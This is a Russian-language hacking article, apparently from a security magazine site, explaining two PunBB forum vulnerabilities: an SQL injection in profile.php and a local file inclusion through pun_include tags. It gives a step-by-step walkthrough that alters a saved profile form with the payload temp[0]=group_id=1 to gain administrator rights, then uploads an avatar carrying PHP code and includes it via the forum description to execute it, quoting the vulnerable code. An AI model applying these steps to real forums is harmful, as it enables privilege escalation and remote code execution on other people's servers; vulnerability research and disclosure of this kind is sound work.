Недавно в PunBB был найден ряд уязвимостей — PHP-инклюдинг и SQL-инъекция.
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Удаленный авторизованный пользователь может
выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в сценарии
‘profile.php’. При включенной опции ‘register_globals’, удаленный
пользователь может выполнить произвольные SQL команды в базе данных
приложения. Существует уязвимость при обработке pun_include тегов. Удаленный пользователь
может загрузить и выполнить произвольный PHP сценарий на целевой системе. 

Разработчики форумов не перестают радовать простых обывателей новыми версиями
своих продуктов, а обыватели в свою очередь ресурсами серверов простых
скрипткидди. Буквально на днях было открыто 2 новых критических бага в
популярном форуме punbb человеком по имени Stefan Esser.
И сейчас я постараюсь объяснить как это всё работает. 

Для начала надо поднять права до администратора с помощью sql-injection.
Открываем в браузере страницу

http://site.ru/punbb/profile.php?id=* 

сохраняем её на винт, изменяем через блокнот строчку: 

<form id=»profile1″ method=»post» action="profile.php?section=essentials&id=*» onsubmit=»return 
process_form(this)"> 

на: 

<form id="profile1" method="post" action="http://site.ru/punbb/profile.php?section=
essentials&id=*&temp[0]=group_id=1"  onsubmit="return
process_form(this)"> 

Т.е. изменяем url на абсолютный путь и добавляем
temp[0]=group_id=1. Из кода файла profile.php видно, что массив $temp не проверяется: 

while (list($key, $input) = @each($form)) 

$value = ($input !== ») ? ‘\».$db->escape($input).’\» : ‘NULL’; 
$temp[] = $key.’=’.$value; 
print «<b>».$key.»\n».$value.»\n</b><br>»; 

$db->query(‘UPDATE ‘.$db->prefix.’users SET ‘.implode(‘,’, $temp).’ WHERE 
id=’.$id) or error(‘Unable to update profile’, __FILE__, __LINE__, 
$db->error()); 

Открываем в браузере сохраненный html файл
и нажимаем submit, в итоге мы изменяем значение колонки group_id в таблице users и становимся
администратором. Далее будем использовать вторую багу
— php-injection. 

Эта бага кроется в файле include/function.php 

// START SUBST — <pun_include «*»> 
while (preg_match(‘<pun_include «(.*?)»>’, $tpl_maint, $cur_include)) 

ob_start(); 
include PUN_ROOT.$cur_include[1]; 
$tpl_temp = ob_get_contents(); 
$tpl_maint = str_replace(‘<‘.$cur_include[0].’>’, $tpl_temp, $tpl_maint); 
ob_end_clean(); 

// END SUBST — <pun_include «*»> 

Скрипт ищет тег <pun include «*»> для загрузки скриптов, но т.к. в строчке 
include PUN_ROOT.$cur_include[1];  имеется переменная PUN_ROOT, то можно подключать только локальные файлы. Для
этого мы создаем рисунок с комментарием в
виде php кода и загружаем как аватар. Далее редактируем, например, описание форума через админку, т.е. добавляем:

<pun_include «img/avatars/123.jpg»> 

Открываем главную страницу форума и вуаля
— скрипт инклудит картинку и исполняет код
из комментария.

Оставить мнение

Check Also

Энкодеры msfvenom. Разбираемся с кодированием боевой нагрузки при бинарной эксплуатации

Генерация полезной нагрузки — неотъемлемая часть эксплуатации. При использовании модулей M…